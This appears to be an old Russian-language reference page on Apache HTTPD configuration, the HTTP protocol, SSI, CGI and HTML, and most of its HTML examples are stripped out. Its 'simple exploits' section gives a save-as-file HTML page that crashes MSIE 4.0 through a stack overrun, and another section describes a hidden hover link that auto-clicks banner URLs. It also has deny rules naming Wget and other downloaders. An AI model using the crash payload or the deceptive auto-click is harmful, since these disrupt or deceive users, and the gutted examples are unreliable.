Конфигурирование сервера HTTPD и формат языка HTML

Конфигурирование сервера HTTPD и формат языка HTML

 
  • Конфигурирование сервера HTTPD и формат языка HTML
  • Простейший HTTP-сервер из палок и веревок
  • Конфигурирование русапача
  • HTTPS своими руками
  • Файлы в каталогах с документами
  • Спецсимволы:
  • Заголовки
  • Ненумерованный список (Unnumbered list)
  • Пронумерованный список (Numbered list)
  • Есть так же и более "мелкие" списки:
  • Списки с подзаголовками (Definition list)
  • Физические стили
  • Логические стили
  • Управление цветами и фонтами
  • Так выглядит обычная ссылка.
  • Так вставляют картинку
  • Таблички -
  • Встроенная imagemap
  • Блоки и квадратики

    О протоколе HTTP/1.*

  • Как работет докачка в HTTP/1.1 протоколе?
  • SSI - Server Side Includes
  • Управление доступом через httpd.conf
  • CGI - спецификация интерфейса между сервером httpd
  • Формы и индексы
  • CGI-скрипту передаются такие параметры:
  • Что мы посылаем клиенту обратно:
  • Фенечки
  • Простые эксплойты
  • Закрытие каталогов для внешних клиентов
  • См. также
  • Компиляция апача и php
  • Конфигурация suexec
  • Как предложить браузеру сохранить файл выдаваемый CGI-скриптом под
  • Как указать RSS-feed
  • Как стилями сделать абзацный отступ в теге

  • Создание иконки favion
  • Защита от POST 405 на /

  • Простейший HTTP-сервер из палок и веревок


    while true ; do nc -l 80 < index.html ; done

          ( index.html должен содержать так же и HTTP-headers, в сыром виде)
    Или через inetd.conf
    service www {
          disable = no
          socket_type = stream
          protocol = tcp
          wait = no
          user = nobody
          server = /usr/bin/cat
          server_args = cat /tmp/index.html }


    Внимание Этот текст будет слегка более доступным для понимания, если вы посмотрите на него в исходном виде - "Document source"

    Конфигурирование русапача


    vi src/include/httpd.h #define HARD_SERVER_LIMIT 2000
    ./configure --help
    ./configure --show-layout \
          --sysconfdir=/etc/httpd \
          --logfiledir=/var/log/httpd \
          --runtimedir=/var/log/httpd \
          --add-module=/home/moshkow/src/mod_throttle-3.1.2/mod_throttle.c \
          --enable-module=rewrite \
          --enable-suexec \
          --suexec-caller=www \
          --suexec-docroot=/home \
          --suexec-logfile=/dev/null

    HTTPS своими руками

    генерим сертификат openssl req -new -x509 -days 765 -nodes > jj cat prkey.pem jj > stunnel.pem
    редактируем /etc/stunnel/stunnel.conf и запускаем
    stunnel


    Файлы в каталогах с документами


    index.html Если просят выдать каталог, то выдают index
          если его нет, выдается просто оглавление каталога HEADER.html Его содержимое добавляется перед началом листинга README.html Его содержимое добавляется к концу листинга
    .htaccess Управляющий файл с локальными настройками текущей директории
    Разобраться стоит с этими характеристиками:
          Alias - где то должна лежать расшифровка. а сервер будет
          ее подставлять. Вот только где ?

    Спецсимволы:


    Нужно задавать так:

          & - &
          " - "
          > - >
          < - <
          >> - >>
          << - <<
          (C) - © или ©
          (R) - ®
          - —
          - –
          <= - <=
          >= - >=
          Extra space -  

    Заголовки



          Заголовок всего документа

         

    Заголовок 2-го уровня



          Ссылка на подраздел в документе

          Ссылка открываемая в другом окне

          Так это место должно быть помечено в Документе

    Ненумерованный список (Unnumbered list)


    Пронумерованный список (Numbered list)


           
    1. Первая позиция
           
    2. Вторая позиция

    Есть так же и более "мелкие" списки:

  • 1
  • 2
  • ,
  • 1
  • 2


  • Списки с подзаголовками (Definition list)

    Название пункта
         
    Текст, расписывающий содержимое пункта
    Название пункта
         
    Текст, расписывающий содержимое другого пункта


          Преформатированный фрагмент текста

          Преформатированный фрагмент текста в ширину 80

    Устанавливает общий отступ вправо.
          Вынесенный вправо фрагмент текста


          Горизонтальная черта


          Окончание параграфа



          Жесткий конец строки


          Текст между этими тагами не будет переноситься
          на новую сторку каким бы длинным он не был

    Физические стили


    Bold жирный текст Itallic курсив текст Underline подчеркнутый Работает только в Netscape 3 Typewriter текст с фонтом фиксированной ширины Blink мигающий текст Strike перечеркнутый текст

    Логические стили


    Definition. Определяемое слово italic Emphasis. Ударение italic Titles of books. Цитата italic Programm. Программный текст fixed User keyboard entry. bold fixed Status message fixed Variable. italic Strong emphasis. bold
    Выделяется адрес italic

    Управление цветами и фонтами

    _BODY_ таги срабатывают только если расположены в самом начале документа
          А так устанавливают собственные цвета во всем документе
          А так делали траурные колера, когда протестовали.
    Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта
    Дальше пойдет текст с фонтом заданного размера
    а так же background звук

    Так выглядит обычная ссылка.


    Low impact


    Так вставляют картинку


    Если нужен текст сбоку
          от картинки Отступ текста от картинки
          ALT - что написать, если картинка не читается,
          LOWRES - перед рисованием большой картинки загрузить эту - маленькую

          Так подкладывают BACKGROUND

    Таблички -


    tr - задает строку СтолбецСтолбец
    Внутри таблицы может быть такой таг, Подзаголовок?
    Табличка фиксированной ширины,не зависящая от размеров внутреннего текста


    Back to my home page

          moshkow@ipsun.ras.ru

    Встроенная imagemap




    Блоки и квадратики


    КРУПНЫЙ ТЕКСТ В БЛОКЕ
    прозрачный отступ: spacer

    Табличка с цветным блочным заголовком и рамочкой
    $M{Ti}{$PI}
    $RazdelOut

    О протоколе HTTP/1.*


    Клиент открывает tcp соединение с хостом www.host.com на порт (обычно 80) и говорит туда
    GET /local/url/file/name.html HTTP/1.0 Host: www.host.com Http_referer: url_документа_на_котором_стоял_клиент Еще некоторое количество заголовков, которые рассказывают серверу, кто с ним имеет дело. Все они, кроме GET необязательны . . . ^M^J - пустая строка - конец заголовков - конец запроса
    Обратно вываливается ответ сервера:
    http-шные заголовки на нескольких строках ^M^J - пустая строка Собственно запрошенный документ as is
    Упражнение: скажите
    $ telnet www 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET /index.html HTTP/1.0
    И потом два раза нажмите на Enter

    Как работет докачка в HTTP/1.1 протоколе?



          В запрос вставляется специальное поле "Range: bytes nnn-". Сервер с докачкой возвращает код 206 - "Часть содержимого" и передает запрошенную часть файла. Если сервер не поддерживает докачки, он просто возвращает 200 и высылает весь файл как при обычном запросе.

    SSI - Server Side Includes


    Полная спецификация лежит, например на www.apache.org
    0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг XBitHack full и сделать им chmod g+x file.shtml
    1. Чтобы SSI выполнялись, необходимо задать в конфигурационных файлах сервера:
    /etc/httpd/conf/access.conf :------------------------ # "Включить" Options +Includes # или даже Options All /etc/httpd/conf/srm.conf :------------------------
    AddType text/html .shtml AddHandler server-parsed .shtml
    2. Тогда SSI отрабатываются только в файлах с расширением .shtml
    Примеры:
    charset=


    The value will often be enclosed in double quotes; many comґ mands only allow a single attribute-value pair.
    The allowed ELEMENTS are:
    config - параметры парсинга
          Атрибуты config
          errmsg - сообщение об ошибке, посылаемое клиенту
          sizefmt - формат размера файла
          timefmt - формат даты модификации файла
          var - напечатать имя переменной
    exec - выполнить shell или CGI-скрипт
          cgi - (%-encoded) URL relative path to the CGI script.
          cmd - выполнить shell
    fsize - напечатать размер файла
          file - относительное имя файла
          virtual -(%-encoded) URL-path relative файла
    flastmod - последннее время модификации файла
    include - вставить документ
          file - вставляемый файл
          virtual - URL - только на этом же хосте
    Include variables
    These are available for the echo command, and to any program invoked by the document.
    DATE_GMT
          The current date in Greenwich Mean Time. DATE_LOCAL
          The current date in the local time zone. DOCUMENT_NAME
          The filename (excluding directories) of the document requested
          by the user. DOCUMENT_URI
          The (%-decoded) URL path of the document requested by the user.
          Note that in the case of nested
          include files, this is not then URL for the current document. LAST_MODIFIED
          The last modification date of the document requested by the user.

    If server side includes are enabled, you will see data values below:
    The date is: The current version of the server The CGI gateway version The server name
    This file is called: This file's URI The query string This file was last modified: The size of the unprocessed file sample.html was last modified You are using You came from

    # Эмуляция SSI в perl-cgi
          if (//) {
          print $`;$tmp = $';
          open (INC,"$inc") || die "Can't Open $inc: $!\n";
          while () {
          if (//) {
          @time = localtime ( time() ); $time[4]++;
          if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
          s//$time[3].$time[4].$time[5]/g;
          }
          print $_;
          }
          close(INC);
          print "$tmp";
          }

    Управление доступом через httpd.conf


    SetEnvIfNoCase Referer rusf\.ru internal_referer SetEnvIfNoCase User-Agent Teleport internal_referer SetEnvIfNoCase User-Agent Vampire internal_referer SetEnvIfNoCase User-Agent ReGet internal_referer SetEnvIfNoCase User-Agent GetRight internal_referer SetEnvIfNoCase User-Agent Wget internal_referer
    ErrorDocument 403 http://rusf.ru/books/index.htm order deny,allow deny from all allow from env=internal_referer
    # No offline browsers в robots.txt User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline Explorer, Web-By-Mail Disallow: /

    # Запрет линкования картинок с двух внешних порносайтов
    SetEnvIfNoCase Referer img\.jpg4\.info porno_referer SetEnvIfNoCase Referer mobihide\.com porno_referer
    order deny,allow deny from env=porno_referer

    CGI - спецификация интерфейса между сервером httpd


    и внешними, вызываемыми программами - gateeway'ями. Сам CGI-script должен лежать в /home/httpd/cgi-bin тогда его находят (или в других каталогах, описанных в acces.conf
          Данные передаются в командной строке, через переменные окружения, и через стандартный ввод. Возвращаются на стандартный вывод, в начале должна стоять "волшебная строка"
    Если добавить в коннфигурационный файл /etc/httpd/conf/srm.conf :------------------------ AddType application/x-httpd-cgi .cgi
          То CGI-скрипты можно будет клась в любой подкаталог дерева документов - с расширением .cgi

    Формы и индексы


    Войти в файл, и спозиционироваться на строку с шаблоном "cl" http://hoohoo.ncsa.uiuc.edu/file.html#cl
    Request for a CGI script with no extra path information and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi
    Request for a script with extra path information, and no query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path
    Request for a script with no extra path information, and an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query
    Request for a script with extra path information as well as an ISINDEX query. http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query
    Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента: extra path - "добавочный маршрут", идущий вслед за именем екзешника query - длинная строка после знака "?"
    на extra path работает image map - им передается имя описателя картинки query передается заполненным ISINDEX

    CGI-скрипту передаются такие параметры:


    Параметры передаются в переменных окружения.
    REMOTE_ADDR=127.0.0.1 REMOTE_HOST=localhost HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt
    REQUEST_METHOD=GET
    QUERY_STRING=query PATH_INFO=/marshrut PATH_TRANSLATED=/home/httpd/docs/marshrut
    SCRIPT_NAME=/cgi-bin/proba HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified

    А теперь вот как оформляются формы с checkbox'ами:
    Press me.

    Press me.


    # ISINDEX - параметр запроса передается пргограмме CGI в $1
    # В форме METHOD=GET - там вызывается команда которой передается # аргумент в переменной окружения QUERY_STRING # http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off
    # А вот как работает POST, и PUT. Дополнительная информация проталкивается клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод. длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH а тип данных - в CONTENT_TYPE
    FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"

          ^^^^^ поле полезно чтоб хранить информацию о "сеансе" Press me.



         


    Что мы посылаем клиенту обратно:


    Status: 200 OK Status: 404 File not found
    Content-type: text/html
    Содержимое, которое кидается сквозь нашего сервера - клиенту

          Если я генерю не содержимое, а только ссылку, то:
    Location: /path/doc.txt
          или Location: gopher://gopher.ncsa.uiuc.edu/


          Генерим текст в чистом серверном виде - он поедет клиенту сразу, без дополнительной фильтрации:
    --- start of output --- HTTP/1.0 200 OK Date: Tuesday, 26-Dec-95 15:17:10 GMT Server: NCSA/1.3 MIME-version: 1.0 Content-type: text/html Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT Content-length: 3132
    This is a plaintext document generated on the fly just for you. --- end of output --- Подставляйте туда соответствующие значения переменных $SERVER_PROTOCOL $SERVER_SOFTWARE

    Фенечки


         
          Автоподстановка URL с timeout'ом. Подставить в начало документа:


          Дальше идет местный HTML-документ - который через 12 секунд будет автоматически заменен на вышеуказанный URL

          Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в HTTP-заголовок документа. Например "насильственное взведение charset'а:

    I'm entering for the first time from (city, state/country)



    Content-type: text/html Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил
    Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml

    Если сказать так, то клиент останется на старом месте, и не будет переходить по ссылке Status: 204 No Content
    А такой линк позволяет сразу заполнить некоторые поля в mailto послании tets
    Самокликаемое письмо


    > Была идея посылать в него сообщение когда мышкой над баннером проводят. > (Когда баннер интересен, часто к нему курсор подводят) > Но что-то я не допёр как это реализовать без hidden frame.
    В правилах устанавливаешь, что у тебя _стандартный код_ твоей сетки содержит:

    Когда клиент будет снизу _пересекать_ мышью твою однопиксельную полоску будет автоклик, а чтоб клиента не напрягать - пускай твой http://koshelev.ru/cgi-bin/bannerOver возвращает код 204 No Content - т.е. _не переходить_ на линк а остаться на старой странице.
    Ссылка на которую переходят автоматически

         
          Достаточно навести на эту ссылку мышь,
    и броузер пойдет по линку - без клика.

    Простые эксплойты

    MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.
    <EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________> opens a dialog box and closes IE 4.0. the long file extension causes stack overrun. --------cut here and save as crashmsie.html--------------------- Trying to crash IE 4.0 <EMBED SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
          40 80 160 170 180 190 200 </HTML>

    Закрытие каталогов для внешних клиентов


    Создаем в каталоге файл .htaccess такого содержания
    order deny,allow deny from all allow from polimos.ras.ru localhost
    # с abc.com пускает просто так, с остальных адресов пускает по паролю Order deny,all Allow from .abc.ru Deny from all Satisfy any
    AuthType Basic AuthName lenta.ru AuthUserFile /home/www/passwd # moshkow:1HrhNpfYnwTau стандартный crypt() require valid-user

    См. также


    Константин Окраинец. Учебник по HTML из Дубны Фреймы и прочие дополнения, возникшие в HTML 2.0 и HTML 3

    Компиляция апача и php


    Русский apache берется с http://apache.lexa.ru Php4 берется с http://download.php.net/distributions/php-4.0.6.tar.gz Для динамической линковки php в апаче должен быть установлен модуль mod_so.c

    httpd$ ./configure --prefix=/home/ej/apache --add-module=src/modules/standard/mod_so.c make install
    php$ ./configure --prefix=/home/ej/apache --with-mysql --with-apxs=/home/ej/apache/bin/apxs --with-mod_charset make install

    Конфигурация suexec


    ./configure --enable-suexec --suexec-caller=lenta --suexec-logfile=/var/log/httpd/suexec.log --runtimedir=/var/log/httpd --logfiledir=/var/log/httpd --suexec-docroot=/home --layout ./configure --enable-suexec --suexec-caller=lenta --suexec-logfile=/dev/null --runtimedir=/var/log/httpd --logfiledir=/var/log/httpd --suexec-docroot=/home --enable-module=mod_lcookie --layout
    MaxClients -- src/include/httpd.h - HADVAR_SERVER_LIMIT

    Как предложить браузеру сохранить файл выдаваемый CGI-скриптом под


          именем отличным от текущего CGI.


          Для IE нужно выдать заголовок:
          Content-Disposition: attachment; filename=somefile.jpg

    Как указать RSS-feed

    - в


    Как стилями сделать абзацный отступ в теге



    Создание иконки favion


    Любым редактором создать картинку 22x22 или 16x16
    Сохранить в формате png или ico (IE понимает только ico)
    В блок HEADER добавить адрес картинки
    Либо просто держать ее в /favicon.ico

    Защита от POST 405 на /


    От запросов вида 93.81.22.12 - - [12/Jul/2013:20:37:28 +0400] "POST / HTTP/1.0" 405 295 "" ""
    В апаче:

         
          Order allow,deny
          Deny from all
         

    В nginx'е
    location = / {
          limit_except GET { deny all; } }


    Home | UK Shop Center |Contact | Buy Domain | Directory | Web Hosting | Resell Domains


    Copyleft 2005 ruslib.us